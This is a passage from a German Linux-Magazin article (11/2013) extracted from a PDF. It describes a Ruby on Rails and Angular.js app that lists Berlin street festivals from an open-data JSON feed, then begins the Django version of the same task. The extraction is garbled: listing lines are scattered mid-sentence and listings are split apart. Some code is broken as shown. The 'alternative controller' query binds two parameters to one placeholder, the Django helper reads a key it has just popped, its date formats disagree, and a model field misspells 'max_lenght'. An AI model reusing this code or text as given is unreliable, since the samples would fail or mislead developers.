Listing 1: Datenbank-Migration<br />
kompletten Frameworks, zu denen zum<br />
Beispiel auch das PHP-Framework Symfony<br />
zu zählen ist, die dem Entwickler an<br />
vielen Stellen Arbeit abnehmen, typische<br />
Aufgaben mit Generatoren und anderen<br />
Konstrukten automatisieren und es einfach<br />
machen, Best Practices der <strong>Web</strong>entwicklung<br />
zu folgen.<br />
Über seine nun bald zehnjährige Geschichte<br />
hat Rails zahlreiche Trends in<br />
der <strong>Web</strong>entwicklung mitgeprägt oder<br />
zumindest früh aufgegriffen. So sind<br />
etwa Prototype.js und Script.aculo.us,<br />
12 t.text :period<br />
13 t.text :host<br />
14 t.string :email<br />
15 t.string :website<br />
16 t.text :note<br />
17 t.timestamps<br />
18 end<br />
19 <br />
20 add_index :events, :source_id<br />
21 end<br />
22 end<br />
Die Anwendung<br />
Eine laufende Version der gelösten Aufgabe<br />
(Abbildung 1) findet sich unter<br />
[2]. Der Quellcode liegt unter [3] und<br />
lässt sich, sofern Ruby 2.0.0 installiert<br />
ist, recht einfach auch lokal betreiben.<br />
Eine genaue Beschreibung der weiteren<br />
Abhängigkeiten ist in der Readme-Datei<br />
im Quelltext nachzulesen.<br />
Eine typische Rails-Anwendung folgt im<br />
Wesentlichen einer eigenen Interpretation<br />
des allgegenwärtigen Model-View-Controller-Pattern<br />
(MVC). Die Modelle sind<br />
in der Regel so genannte »ActiveRecord«-<br />
Objekte, die mit Hilfe von Introspektion<br />
auf die Datenbank ohne zusätzlichen<br />
Code aus den Datenbankspalten Attribute<br />
und Methoden generieren.<br />
Da es bei den vorgegebenen Daten um<br />
Festivitäten – neudeutsch Events – geht,<br />
liegt es nahe, ein Event-Model zu bauen.<br />
Es lässt sich, zusammen mit einer Migration,<br />
die das Datenbankschema anlegt,<br />
Der Programmierer<br />
Der Code stammt von Daniel Harrington<br />
[https:// github. com/ rubiii]. Er ist freiberuflicher<br />
Entwickler in Hamburg und arbeitet<br />
aktuell vorwiegend mit Ruby und Javascript.
Abbildung 1: Die Beispielanwendung verwendet einen Schieberegler (Slider)<br />
zur Datumseingrenzung und läuft auf der Plattform Heroku.<br />
über einen Kommandozeilenaufruf generieren<br />
(hier nur ausschnittweise):<br />
$ rails generate model Event source_id:U<br />
string area:text description:text U<br />
street:string [...]<br />
Der Generator produziert drei Dateien:<br />
das etwas anämische Model (die Klasse<br />
»Event«), einen vorerst ebenso spartanischen<br />
Test namens »EventTest« und die<br />
eben erwähnte Migration (Listing 1).<br />
Datenbank-Migrationen<br />
Migrationen in Rails sind möglichst Datenbank-agnostische<br />
Dateien, die in<br />
Ruby-Code beschreiben, wie das Schema<br />
der Datenbank zu ändern ist. Da diese<br />
Migrationen versioniert sind, kann man<br />
mit ihnen eine Datenbank automatisiert<br />
auf den aktuellen Stand bringen. Dafür<br />
ist eine Rake-Task zuständig. Rake [4] ist<br />
das leistungsfähige Ruby-Äquivalent zu<br />
Make und dient für allerlei Automatisierungen.<br />
Das Kommando »rake db:migrate«<br />
migriert das Datenbankschema auf den<br />
neuesten Stand.<br />
Um die Daten in die Datenbank zu importieren,<br />
existiert eine weitere Rake-Task,<br />
die allerdings selbst gebaut ist: »rake<br />
workers:import« ruft die Daten alle auf<br />
einmal vom Berlin.de-Server ab, übersetzt<br />
die Attribute in die Datenstruktur<br />
für die Event-Klasse und legt dann je<br />
nach Stand der Datenbank neue Events<br />
an oder aktualisiert alte. Eine solche Task<br />
lässt sich per Cron regelmäßig ausführen.<br />
Die Task selbst ruft eigentlich nur<br />
eine Methode einer Klasseninstanz auf<br />
(Listing 2)<br />
Der »ImportWorker« liegt im Verzeichnis<br />
»app/workers/«. Dies ist kein Standardverzeichnis,<br />
Rails lädt jedoch automatisch<br />
alle Dateien, die in Unterverzeichnissen<br />
von »app/« liegen.<br />
Der Worker holt in einem<br />
Rutsch mit Hilfe<br />
der Bibliothek HTTP-<br />
Client [5] die Inhalte<br />
vom Berlin.de-Server,<br />
benutzt Rubys Json-<br />
Bibliothek, um das<br />
ganze zu parsen, und<br />
schreibt dann, Event<br />
für Event, die Inhalte<br />
in die Datenbank.<br />
Hierzu gibt es eine<br />
Mapping-Methode, die die Feldnamen<br />
in den Json-Daten in Datenbankattribute<br />
übersetzt, sowie eine »upsert_event()«-<br />
Methode, die ein Event entweder anlegt<br />
oder aktualisiert (Listing 3).<br />
Die Methode »upsert_event« zeigt sehr<br />
schön die Benutzung der Objekt-Abstraktionsschicht<br />
»ActiveRecord«: Unter der<br />
Haube von »ActiveRecord« arbeitet eine<br />
ausgereifte Bibliothek für den Umgang<br />
mit relationaler Algebra. Hier ist der Fall<br />
eindeutig – die »where()«-Methode erzeugt<br />
eine SQL-»WHERE«-Klausel in der<br />
Form »WHERE source_id = ?«.<br />
Das »first_or_initialize« liefert entweder<br />
den ersten Treffer der Abfrage zurück<br />
oder aber ein leeres Objekt, wenn kein<br />
Treffer gefunden, das Event also noch<br />
nicht importiert wurde. Die Methode<br />
»update_attributes« aktualisiert die Attribute<br />
und speichert das Ganze in der<br />
Datenbank.<br />
Die nächste Schicht im Rails-MVC-Modell<br />
ist der Controller, der den HTTP-Request<br />
entgegennimmt und beantwortet. Wie<br />
Listing 4 zeigt, ist er recht simpel. Den<br />
Request nimmt die »index«-Methode<br />
entgegen. Das »respond_to« legt fest,<br />
dass dieser Controller nur auf Anfragen<br />
Listing 3: »ImportWorker«<br />
01 class ImportWorker<br />
02 [...]<br />
03 def map_to_event_hash(data)<br />
04 {<br />
05 source_id: data['id'],<br />
06 area: data['bezirk'],<br />
07 description: data['bezeichnung'],<br />
08 street: data['strasse'],<br />
09 zip_code: data['plz'],<br />
10 starts_at: Date.parse(data['von']),<br />
11 ends_at: Date.parse(data['bis']),<br />
12 period: data['zeit'],<br />
13 host: data['veranstalter'],<br />
reagiert, die Json verlangen. In der Index-Methode<br />
liest »Event.all« die ganze<br />
Events-Tabelle aus. Die Berliner Datenquelle<br />
liefert derzeit knapp 300 Events,<br />
sodass sich die Rechenarbeit in Grenzen<br />
hält. Das »respond_with()« sorgt dafür,<br />
dass die Daten im richtigen Datentypus<br />
ausgegeben werden. »ActiveRecord«<br />
bringt für Json und XML bereits eigene<br />
Methoden zur Konvertierung mit, sodass<br />
der Entwickler hier der Einfachheit halber<br />
die rohen Daten aus der Datenbank<br />
ausgeben darf.<br />
Templates<br />
Unter Praxisbedingungen ist der Programmierer<br />
oft gezwungen die Daten<br />
vor der Ausgabe noch zu modifizieren.<br />
Hierfür gibt es derzeit zwei besonders<br />
geeignete Ansätze: Die so genannten<br />
Jbuilder-Templates, die Teil von Rails<br />
4 sind, erlauben es, Json mit einer Art<br />
Templating-Sprache zusammenzubauen<br />
– angelehnt an die Builder-Bibliothek, die<br />
in Rails zum Generieren von XML dient.<br />
Die »ActiveModel«-Serializer gehen einen<br />
anderen Weg, indem sie eine eigene Kategorie<br />
von Klassen einführen, die Serializer,<br />
die mit einer ebenfalls recht simplen<br />
Syntax das Umarbeiten von Datenstrukturen<br />
ermöglichen.<br />
Damit liegt unter »/events.json« also<br />
eine vollständige Liste von Events als<br />
Listing 2: Import-Task<br />
01 namespace :workers do<br />
02 desc 'Import events from source'<br />
03 task :import => :environment do<br />
04 ImportWorker.new.run<br />
05 end<br />
06 end<br />
14 email: data['mail'],<br />
15 website: data['www'],<br />
16 note: data['bemerkung']<br />
17 }<br />
18 end<br />
19 <br />
20 def upsert_event(source_id, attributes)<br />
21 Event.where(source_id: source_id)<br />
22 .first_or_initialize<br />
23 .update_attributes(attributes)<br />
24 end<br />
25 end<br />
Ruby on Rails 11/2013<br />
Titelthema<br />
www.linux-magazin.de<br />
35
Titelthema<br />
www.linux-magazin.de Ruby on Rails 11/2013<br />
36<br />
Json-Daten (Abbildung 2). Nun geht es<br />
darum, sie in der gewünschten Form anzuzeigen.<br />
Die View-Schicht in Rails besteht im<br />
Prinzip nur aus Templates. Diese verwenden<br />
standardmäßig eine Template-<br />
Engine namens Embedded Ruby (ERB),<br />
es existiert allerdings noch eine Handvoll<br />
Alternativen. Der Anwendungsautor hat<br />
sich hier für eine relativ moderne Variante<br />
namens Slim [6] entschieden, die<br />
mit signifikantem Whitespace und einer<br />
sehr reduzierten Syntax auskommt. Das<br />
01 class EventsController < ApplicationController<br />
02 <br />
03 respond_to :json<br />
04 <br />
05 def index<br />
06 respond_with(Event.all)<br />
07 end<br />
08 <br />
09 end<br />
Listing 4: Controller<br />
Template, das die Homepage rendert, ist<br />
in Listing 5 zu sehen.<br />
Layouts<br />
Natürlich entsteht so keine vollständige<br />
HTML-Seite. Templates in Rails werden<br />
in aller Regel in ein so genanntes Layout<br />
gegossen, ein Template, das den Seitenrahmen<br />
enthält und eine Stelle definiert,<br />
an der der Code der Einzelseiten erscheinen<br />
soll. Auch dieses ist in Slim geschrieben<br />
(Listing 6)<br />
Die »ng«-Attribute deuten es schon an:<br />
Der Anwendungsentwickler hat es sich<br />
nicht nehmen lassen, zusätzlich zu Rails<br />
noch eine derzeit angesagte Technologie<br />
mit ins Spiel zu bringen: Das Frontend ist<br />
mittels Angular.js [7], einem Javascript-<br />
Framework von Google, realisiert. Das<br />
Template rendert hier gewissermaßen<br />
nur ein Template für Angular.js. Bis auf<br />
die Überschrift übernimmt Angular alle<br />
Elemente und zeigt sie dynamisch zur<br />
Laufzeit an.<br />
Angular.js<br />
Damit verlässt der Entwickler die Ebene<br />
des Server-seitigen Rails und landet bei<br />
Javascript im Client. Da die Beschreibung<br />
der Angular-Anwendung den Rahmen<br />
dieses Artikels sprengen würde, sei nur<br />
so viel gesagt: Die Angular-Anwendung<br />
lädt als Erstes die Daten von »/events.js«<br />
und filtert diese dann eigenständig nach<br />
Start- und Enddatum.<br />
Die Angular.js-Anwendung ist in Coffeescript<br />
geschrieben, einer Sprache, die<br />
ein wenig an Ruby erinnert und nach<br />
Javascript kompiliert. Rails unterstützt<br />
Coffeescript mit der so genannten Asset-<br />
Pipeline. Hierbei handelt es sich um ein<br />
Feature, das seit Rails 3.1 an Bord ist: Es<br />
verarbeitet alle Dateien, die unter »app/<br />
assets/« liegen. Wesentliche Aufgaben<br />
Listing 5: Slim-Template<br />
01 h1 Berliner und Brandenburger Volks‐ und Straßenfeste 2013<br />
02 <br />
03 #events ng‐controller='eventsController'<br />
04 #range‐slider<br />
05 .range‐info<br />
06 span.count<br />
07 | {{groupedEventsCount}} Veranstaltungen<br />
08 span<br />
09 | im gewählten Zeitraum<br />
10 <br />
11 div class='ongoing‐events' ng‐show='groupedEvents.ongoing'<br />
ng‐cloak=''<br />
12 h2<br />
13 | {{groupedEvents.ongoing.length}} laufende Veranstaltung(en)<br />
14 ol.events<br />
15 li ng‐repeat='event in groupedEvents.ongoing'<br />
16 p<br />
17 | {{event.description}}<br />
18 time<br />
19 | {{event.startsAt | date:'dd.MM.yyyy'}} ‐ {{event.endsAt |<br />
date:'dd.MM.yyyy'}}<br />
20 span<br />
21 | in {{event.area}}<br />
22 <br />
23 div class='upcoming‐events' ng‐show='groupedEvents.upcoming'<br />
ng‐cloak=''<br />
24 h2<br />
25 | {{groupedEvents.upcoming.length}} anstehende Veranstaltung(en)<br />
26 ol.events<br />
27 li ng‐repeat='event in groupedEvents.upcoming'<br />
28 p<br />
29 | {{event.description}}<br />
30 time<br />
31 | {{event.startsAt | date:'dd.MM.yyyy'}} ‐ {{event.endsAt |<br />
date:'dd.MM.yyyy'}}<br />
32 span<br />
33 | in {{event.area}}<br />
34 <br />
35 div class='passed‐events' ng‐show='groupedEvents.passed' ng‐cloak=''<br />
36 h2<br />
37 | {{groupedEvents.passed.length}} vergangene Veranstaltung(en)<br />
38 ol.events<br />
39 li ng‐repeat='event in groupedEvents.passed'<br />
40 p<br />
41 | {{event.description}}<br />
42 time<br />
43 | {{event.startsAt | date:'dd.MM.yyyy'}} ‐ {{event.endsAt |<br />
date:'dd.MM.yyyy'}}<br />
44 span<br />
45 | in {{event.area}}<br />
Listing 6: Slim-Layout<br />
01 doctype html<br />
02 html<br />
03 head<br />
04 title Festive<br />
05 = stylesheet_link_tag 'application'<br />
06 = javascript_include_tag 'application'<br />
07 = csrf_meta_tags<br />
08 <br />
09 body ng‐app='Festive'<br />
10 #content<br />
11 == yield<br />
12 <br />
13 #footer<br />
14 | Source code available at<br />
15 a href='https://github.com/rubiii/festive' github.com/rubiii/<br />
festive
Abbildung 2: Ruby on Rails liefert in der Beispielanwendung Json-Daten für die Anzeige.<br />
der Asset-Pipeline sind das Zusammenfügen<br />
mehrerer Quelldateien, etwa um<br />
Stylesheets besser aufteilen zu können,<br />
ohne im Produktivbetrieb alle Stylesheets<br />
einzeln laden zu müssen, sowie das Einbinden<br />
von diversen Compilern und Minifiern<br />
wie Uglify.js, Google Closure oder<br />
der YUI-Tools.<br />
Im Development-Modus ist standardmäßig<br />
das Minifizieren und Zusammenführen<br />
ausgeschaltet, was das Debuggen erleichtert.<br />
Beim Deployment packt eine<br />
Rake-Task die Assets zusammen, führt<br />
die Minification durch und legt die Dateien<br />
nach »public/assets/«, von wo der<br />
<strong>Web</strong>server sie ausliefern kann. Wie in<br />
dem Layout zu sehen ist, integriert die<br />
Anwendung genau eine Javascript-Datei<br />
namens »application« – die Endung ».js«<br />
versteht sich implizit.<br />
Zunächst bindet Listing 7 die Bibliothek<br />
Jquery [8] ein, die »range‐slider« benötigt.<br />
Danach kommen Underscore.js [9]<br />
und Angular.js. Da es sich bei den Bibliotheken<br />
um externe Abhängigkeiten handelt,<br />
liegen sie nicht im Verzeichnis »app/<br />
assets/«, sondern in »vendor/assets/«.<br />
Als Letztes bindet Rails alle Javascript-<br />
(oder Coffeescript-)Dateien ein, die sich<br />
in »app/assets/javascripts/« oder Unterordnern<br />
davon befinden.<br />
Die externen Abhängigkeiten verwaltet<br />
übrigens wenn möglich Bower [10]. Das<br />
Tool wurde von Twitter entwickelt und<br />
hat sich zu einem De-facto-Standard für<br />
das Javascript-Paketmanagement gemausert.<br />
Bower speichert die Abhängigkeiten<br />
in einem Format, das an das Json-Format<br />
der Node.js-Pakete erinnert. Die »bower.<br />
json«-Datei des Projekts zeigt Listing 8.<br />
Zusätzlich muss in einer Datei namens<br />
».bowerrc« der Zielpfad stehen:<br />
{<br />
"directory": "vendor/components"<br />
}<br />
Danach kann der Anwender die benötigten<br />
Pakete mit dem Kommando »bower<br />
install« installieren.<br />
Beurteilung<br />
Die gewählte Lösung hat bei aller Attraktivität<br />
des dynamischen Frontends das<br />
Problem, dass sie ohne Javascript nicht<br />
funktioniert. Eine Lösung, die komplett<br />
ohne Javascript auskommt, wäre sicher<br />
nicht viel aufwändiger zu programmieren.<br />
Zum Beispiel könnte der »Events-<br />
Controller« den anzuzeigenden Datumsbereich<br />
gleich Server-seitig verarbeiten<br />
(Listing 9).<br />
Gleichwohl demonstriert die Anwendung<br />
die Flexibilität von Rails, die es einfach<br />
macht, als Alternative zu einer normalen<br />
<strong>Web</strong>anwendung eine Single-Page-App<br />
plus Json-API zu bauen. Das ist gerade<br />
in den jüngsten Rails-Versionen deutlich<br />
leichter geworden.<br />
Eine der Stärken von Rails ist die gute<br />
Integration von automatisierten Tests.<br />
Die Beispielanwendung ist keine Ausnahme:<br />
Der Test für den »ImportWorker«<br />
importiert versuchsweise Testdaten, die
Titelthema<br />
www.linux-magazin.de Ruby on Rails 11/2013<br />
38<br />
nicht im <strong>Web</strong>, sondern einfach in einer<br />
Datei, im Rails-Jargon Fixture genannt,<br />
abgelegt sind. Ermöglicht wird dies durch<br />
das so genannte Mocken des eigentlichen<br />
HTTP-Requests mit Hilfe der Mocking-<br />
Bibliothek Mocha [11].<br />
Unter »/test/integration« gibt es zudem<br />
einen Integrationstest, der die Bibliothek<br />
Capybara und den Selenium-<strong>Web</strong>driver<br />
[12] verwendet, um echte Frontend-Integration-Tests<br />
in einem <strong>Web</strong>browser auszuführen,<br />
was bei dieser Art Anwendung<br />
fast zwingend notwendig ist.<br />
Zusätzlich zu diesen Rails-Tests bringt<br />
die Beispielanwendung auch noch einen<br />
Javascript-Test mit. Er ist mit dem<br />
Projekt Karma [13] realisiert, das aus<br />
dem Angular.js-Umfeld kommt. Die Besonderheit<br />
von Karma ist, dass es die<br />
Tests parallel in einer ganzen Reihe von<br />
Browsern ausführen kann und die Ergebnisse<br />
anschließend zusammenführt.<br />
All diese automatisierten Tests der Anwendung<br />
laufen auch auf der gehosteten<br />
Continuous-Integration-Plattform Travis-<br />
CI [14].<br />
Die von der Redaktion gestellte Programmieraufgabe<br />
ist keine besonders passende<br />
01 #= require jquery/jquery<br />
02 #= require underscore/underscore<br />
03 #= require angular/index<br />
04 #<br />
05 #= require range‐slider<br />
06 #= require_tree .<br />
01 {<br />
02 "name": "festive",<br />
03 "version": "0.1.0",<br />
04 "dependencies": {<br />
05 "jquery": "1.9.1",<br />
06 "underscore": "1.4.3",<br />
07 "angular": "http://code.angularjs.org/1.2.0‐rc.2/angular.js",<br />
01 class EventsController < ApplicationController<br />
02 <br />
03 respond_to :json<br />
04 <br />
05 def index<br />
Anforderung an Rails.<br />
Viele Ruby-Entwickler<br />
hätten für diese Aufgabe<br />
vielleicht eher<br />
ein Mikroframework<br />
wie Sinatra eingesetzt<br />
und die Json-Anfragen<br />
einfach durchgereicht<br />
oder nur in einem<br />
Memory-Cache zwischengespeichert.<br />
Ausblick<br />
08 "angular‐mocks": "http://code.angularjs.org/1.2.0‐rc.2/angular‐mocks.js"<br />
09 }<br />
10 }<br />
Rails spielt seine Stärken<br />
vor allem dort<br />
aus, wo schnell, effizient,<br />
aber auch sorgfältig <strong>Web</strong>anwendungen<br />
entstehen sollen – nicht umsonst<br />
ist Rails insbesondere bei Startups sehr<br />
beliebt. Wer sich an die von Rails vorgegebenen<br />
Konventionen hält, ist als Entwickler<br />
außerdem deutlich weniger mit<br />
dem Schreiben des typischen Boilerplate-<br />
Codes beschäftigt.<br />
Natürlich schläft die Konkurrenz nicht.<br />
Die Rails-Gemeinde ist jedoch immer<br />
noch sehr weit vorne dabei, wenn es<br />
darum geht, Trends gerade im Tooling<br />
zu setzen. Die Asset-Pipeline, in diesem<br />
Artikel kurz erwähnt, ist mit Rails 4<br />
endlich erwachsen geworden und sorgt<br />
zusammen mit dem gesamten Ökosystem<br />
und Tools wie Sass, Compass oder<br />
Coffeescript dafür, dass Frontend-Entwicklung<br />
einen ähnlichen Stellenwert<br />
06 respond_with(Event.where("starts_at = ?", params[:end_date], params[:start_date]))<br />
07 end<br />
08 <br />
09 end<br />
Listing 7: Javascript<br />
Listing 8: »bower.json«<br />
Listing 9: Alternativer Controller<br />
Abbildung 3: Das Testwerkzeug Karma prüft das Javascript der Anwendung<br />
parallel in mehreren <strong>Web</strong>browsern.<br />
erhält wie das Back end. Dennoch bleibt<br />
abzuwarten, wie sich das gesamte <strong>Web</strong>-<br />
Tooling in den nächsten Jahren verändert<br />
und ob die Rails-Community Wege<br />
findet, aktuelle Entwicklungen wie die<br />
Javascript-Tools Grunt und Bower besser<br />
zu integrieren. Ansonsten könnte sie am<br />
Ende mit eigenen Insellösungen dastehen.<br />
(mhu) <br />
n<br />
Infos<br />
[1] Ruby on Rails:<br />
[http:// www. rubyonrails. org]<br />
[2] Laufende Instanz auf Heroku:<br />
[http:// festive‐rails. herokuapp. com]<br />
[3] Quellcode auf Github:<br />
[https:// github. com/ rubiii/ festive]<br />
[4] Rake: [http:// rake. rubyforge. org]<br />
[5] Bibliothek »HTTPClient«:<br />
[https:// github. com/ nahi/ httpclient]<br />
[6] Slim-Templates: [http:// slim‐lang. com]<br />
[7] Angular.js: [http:// angularjs. org]<br />
[8] Jquery: [http:// jquery. com]<br />
[9] Underscore.js: [http:// underscorejs. org]<br />
[10] Bower: [https:// github. com/ bower/ bower]<br />
[11] Mocha:<br />
[http:// gofreerange. com/ mocha/ docs/]<br />
[12] Capybara:<br />
[https:// github. com/ jnicklas/ capybara]<br />
[13] Karma: [http:// karma‐runner. github. io/ 0.<br />
10/ index. html]<br />
[14] Beispielanwendung auf Travis-CI: [https://<br />
travis‐ci. org/ rubiii/ festive]<br />
Der Autor<br />
Jan Krutisch [http:// jan. krutisch. de] ist freiberuflicher<br />
Software-Entwickler und Autor. Er arbeitet<br />
momentan vor allem für Verlage an Themen<br />
wie mobile <strong>Web</strong>sites und E-Books.
Das Python-Framework Django<br />
Django unchained<br />
Django 11/2013<br />
Titelthema<br />
Alle befragten Django-Entwickler waren über die vom <strong>Linux</strong>-<strong>Magazin</strong> gestellte Aufgabe nicht glücklich: Mit einem<br />
CMS sei das wesentlich einfacher zu lösen, hieß es. Autor Sven Schannak zeigt, wie es trotzdem klappt. Sven Schannak<br />
www.linux-magazin.de<br />
39<br />
Mit Django 1.5, das die vom<br />
<strong>Linux</strong>-<strong>Magazin</strong> gestellte Aufgabe bewältigen<br />
soll, betritt ein in Python verfasstes<br />
Framework die illustre Runde. Seit Version<br />
1.3 bringt Django die so genannten<br />
Class-based Views (CBV) mit, die den<br />
Zeitaufwand für das Entwickeln weniger<br />
komplexer Aufgaben minimieren. Grundlage<br />
für den Code bieten die offizielle<br />
Django-Doku [1] und die Anregungen<br />
aus dem Referenzwerk „Two Scoops of<br />
Django“ [2]. Zum besseren Verständnis<br />
der hier eingesetzten Techniken empfiehlt<br />
sich zudem der Blick in das Tutorial des<br />
Django-Projekts [3].<br />
Doch die CBV kosten: Wer sie nutzen<br />
will, muss eine steilere Lernkurve akzeptieren<br />
als bei den traditionellen Functional-based<br />
Views (FBV). Aber durch die<br />
Zeitersparnis beim Entwickeln lohnt sich<br />
der Mehraufwand am Ende. FBVs ließen<br />
sich für die Lösung der Aufgabe aber<br />
auch verwenden.<br />
An die Quelle<br />
Um die offene Datenquelle anzuzapfen<br />
und die Berliner und Brandenburger<br />
Volks- und Straßenfeste [4] auf einer<br />
<strong>Web</strong>seite anzuzeigen, lässt sich das<br />
mitgelieferte REST-API mit XML- oder<br />
Json-Schnittstellen einsetzen. Das Python-Framework<br />
kann zwar mit beiden<br />
Datentypen arbeiten, im Artikel kommt<br />
jedoch Json als favorisiertes Format zum<br />
Einsatz. Um außerdem nicht ständig Requests<br />
an den Portalbetreiber zu senden,<br />
soll Django die Daten cachen und aufbereiten,<br />
falls ein Besucher der <strong>Web</strong>seite<br />
zum Beispiel nach dem Termin für das<br />
Berliner Bierfestival [5] sucht.<br />
Um die Daten serverseitig zu holen, gibt<br />
es mehrere Ansätze: Zum Beispiel ließe<br />
sich das Task-Framework Celery mit dem<br />
Plugin »django‐celery« einspannen, das<br />
einige großartige Funktionen für das<br />
Bewältigen periodisch wiederkehrender<br />
Aufgaben mitbringt. Allerdings wäre<br />
der Konfigurationsaufwand recht hoch,<br />
weshalb ein so genannter Management-<br />
Befehl diese Aufgabe übernimmt. Ihn ruft<br />
der Entwickler direkt aus der Shell heraus<br />
auf. Er lässt sich als Cronjob einrichten,<br />
der die Daten regelmäßig von der Quelle<br />
abholt und aktualisiert. Die Entwicklung<br />
dieses Befehls macht den Anfang des Artikels.<br />
Nach dem Einrichten von Django [1] erstellt<br />
der Programmierer zunächst eine<br />
App mit dem Namen »streetparty«:<br />
django‐admin.py startapp streetparty<br />
Der Management-Befehl gehört in einen<br />
Ordner mit dem Namen »management«,<br />
den er unterhalb von »streetparty« anlegt.<br />
Darin legt er zudem eine leere Datei mit<br />
der Bezeichnung »__init__.py« und einen<br />
weiteren Ordner »commands« an, welcher<br />
ebenfalls eine Datei »__init__.py«<br />
enthalten soll. An ihr erkennt Python,<br />
dass sich in den Ordnern Python-Skripte<br />
befinden. Im Verzeichnis »commands«<br />
erstellt der Entwickler zudem die Datei<br />
mit dem Code zum Holen der Daten.<br />
Im Beispiel heißt sie »get_data.py« und<br />
enthält den Code aus Listing 1.<br />
Management-Befehle ähneln sich stets im<br />
Aufbau: Es muss eine Klasse »Command«<br />
geben, die mindestens von »BaseCommand«<br />
erbt. In der Methode »handle()«<br />
wird dann die eigentliche Logik implementiert,<br />
wobei Management-Befehle<br />
Listing 1: »get_data.py«<br />
01 from django.core.management.base import BaseCommand<br />
02 from streetparty.helper import StrassenFestHelper<br />
03 <br />
04 <br />
05 class Command(BaseCommand):<br />
06 help = 'Holt die aktuellen Daten der<br />
Straßenfeste'<br />
07 <br />
08 def handle(self, *args, **options):<br />
09 StrassenFestHelper().update()<br />
10 <br />
© Elnur Amikishiyev, 123RF.com
Titelthema<br />
www.linux-magazin.de Django 11/2013<br />
40<br />
auch Argumente empfangen können. Das<br />
Beispiel bindet zusätzlich noch einen Hilfetext<br />
ein.<br />
Hilfe beim Straßenfest<br />
Die Methode selbst ruft eine andere Methode<br />
der Klasse »StrassenFestHelper«<br />
auf, die später implementiert wird und<br />
die Daten in die Datenbank schreibt.<br />
Diese Klasse in der neu anzulegenden<br />
Listing 2: »helper.py«<br />
Datei »streetparty/helper.py« schreibt der<br />
Django-Entwickler. Den Code für die Helferklasse<br />
zeigt Listing 2.<br />
In der vorgegebenen Datenquelle ist ein<br />
»id«-Feld vorhanden, allerdings verrät die<br />
Dokumentation nicht, ob die IDs eindeutig<br />
vergeben sind. Bekommen zwei<br />
Feste zufälligerweise die gleiche ID zugewiesen,<br />
kann es zu Konflikten kommen.<br />
Daher löscht die Funktion »update()« die<br />
Datensätze zunächst, um sie dann komplett<br />
neu einzuspielen. Im Modell sichert<br />
das Feld »api_id« die ID der Datenquelle.<br />
Um letztere nicht als Primary Key zu verwenden,<br />
setzt die Funktion den Schlüssel<br />
für »id« auf »api_id« um.<br />
Formatprüfung<br />
Da man prinzipiell Daten von anderen<br />
Seiten auf Korrektheit überprüfen sollte,<br />
wird zudem die Methode »full_clean«<br />
01 import sys<br />
02 import json<br />
03 import urllib2<br />
04 from datetime import datetime<br />
05 from django.conf import settings<br />
06 from django.core.exceptions import ValidationError<br />
07 from streetparty.models import StrassenFest<br />
08 <br />
09 class StrassenFestHelper():<br />
10 def update(self):<br />
11 req = urllib2.Request(settings.STREETPARTY_DATA_URL)<br />
12 opener = urllib2.build_opener()<br />
13 source = opener.open(req)<br />
14 StrassenFest.objects.all().delete()<br />
15 <br />
16 for data in json.load(source)['index']:<br />
17 data['von'] = datetime.strptime(data['von'], '%Y-%m-%d')<br />
18 data['bis'] = datetime.strptime(data['bis'], '%d.%m.%Y')<br />
19 data['api_id'] = data.pop('id')<br />
20 fest = StrassenFest(**data)<br />
21 try:<br />
22 fest.full_clean()<br />
23 except ValidationError as e:<br />
24 print >>sys.stderr, 'Failed to validate remote entry<br />
with id %s' % data['id']<br />
25 print >>sys.stderr, str(e)<br />
26 else:<br />
27 fest.save()<br />
Listing 3: »models.py«<br />
01 from django.db import models<br />
02 <br />
03 # Create your models here.<br />
04 class StrassenFest(models.Model):<br />
05 # so, id cannot overwrite the database‐id<br />
06 api_id = models.CharField(max_length=255, blank=True)<br />
07 bezeichnung = models.TextField()<br />
08 # adress‐data should normally be normalized<br />
09 bezirk = models.CharField(max_length=255, blank=True)<br />
10 strasse = models.CharField(max_length=255, blank=True)<br />
11 plz = models.CharField(max_length=5, blank=True)<br />
12 von = models.DateField()<br />
13 bis = models.DateField()<br />
14 zeit = models.CharField(max_length=255, blank=True)<br />
15 veranstalter = models.TextField(blank=True)<br />
16 mail = models.EmailField(blank=True)<br />
17 www = models.CharField(max_lenght=255, blank=True)<br />
18 bemerkungen = models.TextField(blank=True)<br />
Listing 4: »views.py«<br />
01 from django.views.generic import ListView<br />
02 from django.utils import timezone<br />
03 <br />
04 from .models import StrassenFest<br />
05 <br />
06 class StrassenFestList(ListView):<br />
07 def get_queryset(self):<br />
08 today = timezone.now()<br />
09 return StrassenFest.objects.filter(von__year=today.year,<br />
von__month=today.month).order_by('von')<br />
Listing 5: »strassenfest_list.html«<br />
01 {% extends 'base.html' %}<br />
02 {% block content %}<br />
03 <br />
04 <br />
05 <br />
06 {% for data in object_list %}<br />
07 <br />
08 <br />
09 {{ data.bezeichnung }}<br />
10 Von {{ data.von|date:"d.m.Y" }} bis<br />
{{ data.bis|date:"d.m.Y" }}<br />
11 <br />
12 <br />
13 {% endfor %}<br />
14 <br />
15 <br />
16 {% endblock %}<br />
17
verwendet. Diese Methode überprüft,<br />
ob die Daten grundsätzlich einem Format<br />
entsprechen, mit dem Django umgehen<br />
kann. So überprüft Django beispielsweise,<br />
ob ein »DateField« auch<br />
tatsächlich mit einem Datum befüllt ist.<br />
Eine andere Möglichkeit bestünde darin,<br />
Formular-Klassen zu verwenden, die es<br />
erlauben, Input beliebig zu validieren.<br />
Im nächsten Schritt lässt sich endlich der<br />
Management-Befehl ausführen:<br />
python manage.py get_data<br />
Allerdings ruft der Befehl jetzt noch Fehlermeldungen<br />
hervor, weil zunächst ein<br />
passendes Datenbank-Modell fehlt und<br />
Django aus diesem Grund die Daten nicht<br />
ablegen kann. Dieses Modell definiert die<br />
Datei »models.py«, die Listing 3 zeigt.<br />
Modellbaukasten<br />
Djangos Datenbankmodelle sind im Prinzip<br />
selbsterklärend. Sie bestehen aus einer<br />
Klasse, die mindestens von »models.<br />
Model« erbt und ansonsten aus Attributen<br />
und Methoden besteht. Die Attribute<br />
lehnen sich an die Originalbezeichnungen<br />
der Datenquelle an und sind den<br />
passenden Feldern zugeordnet.<br />
Der Vorteil korrekter Felder offenbart sich<br />
beim Einsatz von Django-Forms: Diese<br />
validieren automatisch Daten vor dem<br />
Einfügen und geben notfalls passende<br />
Fehlermeldungen aus. Das Attribut »api_<br />
id« bekommt zusätzlich den Parameter<br />
»blank=True« übergeben, der dafür<br />
sorgt, dass dieses Feld auch leer bleiben<br />
darf. Hat der Entwickler das Modell<br />
schließlich implementiert, in die Konfiguration<br />
der App eingetragen und über<br />
python manage.py syncdb<br />
die Datenbank synchronisiert, sollte der<br />
